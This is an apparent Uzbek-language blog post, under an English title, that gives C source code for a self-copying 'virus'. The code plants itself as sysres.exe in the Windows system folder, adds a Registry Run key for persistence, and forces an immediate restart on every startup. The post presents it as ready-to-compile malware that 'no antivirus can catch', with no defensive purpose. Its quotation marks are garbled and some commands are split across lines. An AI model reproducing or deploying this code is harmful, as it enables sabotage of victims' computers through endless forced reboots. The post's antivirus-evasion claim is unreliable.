To Restart the Computer at Every Startup



Bugungi yaratadigan virusimizning oqibati yomon, shunga qarab ish ko'ring !
Bu virus kompyuteringizni yoqganingizda rabochiy stol (desktop) ko'rinishi bilanoq har safar o'z-o'zidan qayta yuklanadi (Restart) ya'ni perezagruzka bo'ladi. Buning qulaylik tomoni shundaki yaratilgan virusni xech qanaqa ANTIVIRUS tuta olmaydi va atigi bir marotaba bosish kifoya.
(Talab qilinadigan narsa C++ va sabr)

#include<stdio.h>
#include<dos.h>
#include<dir.h>

int found,drive_no;char buff[128];

void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(�C:\\windows\\system�,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(�C:\\windows\\system\\sysres.exe�,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(�D:\\windows\\system�,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(�D:\\windows\\system\\sysres.exe�,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(�E:\\windows\\system�,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(�E:\\windows\\system\\sysres.exe�,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(�F:\\windows\\system�,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(�F:\\windows\\system\\sysres.exe�,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}

void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],�rb�); //The virus file open�s itself
switch(drive_no)
{
case 1:
target=fopen(�C:\\windows\\system\\sysres.exe�,�wb�); //to place a copy of itself in a remote place
system(�REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe�); //put this file to registry for starup
break;

case 2:
target=fopen(�D:\\windows\\system\\sysres.exe�,�wb�);
system(�REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe�);
break;

case 3:
target=fopen(�E:\\windows\\system\\sysres.exe�,�wb�);
system(�REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe�);
break;

case 4:
target=fopen(�F:\\windows\\system\\sysres.exe�,�wb�);
system(�REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe�);
break;

default:
exit(0);
}

while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}

else
system(�shutdown -r -t 0?); //if the system is already infected then just give a command to restart
}

NOTE: COMMENTS ARE GIVEN IN GREEN COLOUR.
Bo'ldi , hammasi tayyor endi buni .exe fayl qilib kompilyator qilsangiz bo'ldi.